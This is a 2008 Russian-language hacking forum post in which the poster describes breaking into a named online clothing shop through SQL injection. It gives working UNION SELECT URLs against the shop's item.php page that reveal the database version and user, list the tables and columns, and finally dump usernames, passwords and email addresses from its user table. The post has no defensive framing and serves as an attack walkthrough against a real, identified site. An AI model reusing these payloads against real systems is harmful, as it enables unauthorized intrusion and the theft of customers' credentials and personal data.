01.09.2008, 05:56
|
|
Участник форума
Регистрация: 09.03.2008
Сообщений: 193
С нами:
9564806
Репутация:
267
|
|
Вот сегодня шоп попался 
Cайт: www.rocklandshop.spb.ru
Код:
http://www.rocklandshop.spb.ru/item.php?id=-43477+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11/*
Version:5.0.32-Debian_7etch3-log
User:zorro_rockland@localhost
DataBase:zorro_rockland
Идём дальше,cмотрим что у нас в INFORMATION_SCHEMA.TABLES:
Код:
about
action
adidas_info
anketa
art
base
city
comment
contacts
exclusive_info
features
file_stat
glossary
goods
info
ip2country
links
menu
network
news
nike_info
orders
partners
poisk
presentation
presentation_copy
reebok_info
salomon_info
search
sites
subscribe
user
user_dopcat
vacancy
video
wallpaper
work
Заинтересовала табличка user:
Cмотрим поля через лимит:
Код:
http://www.rocklandshop.spb.ru/item.php?id=-43477+union+select+1,2,3,COLUMN_NAME,5,6,7,8,9,10,11+FROM+INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME=0x75736572+limit+0,1/*
Находим заинтересовавшие нас поля:
И наконец выводим их:
Код:
http://www.rocklandshop.spb.ru/item.php?id=-43477+union+select+1,2,3,concat_ws(0x3a,user,psw,email),5,6,7,8,9,10,11+FROM+user/*
|
|
|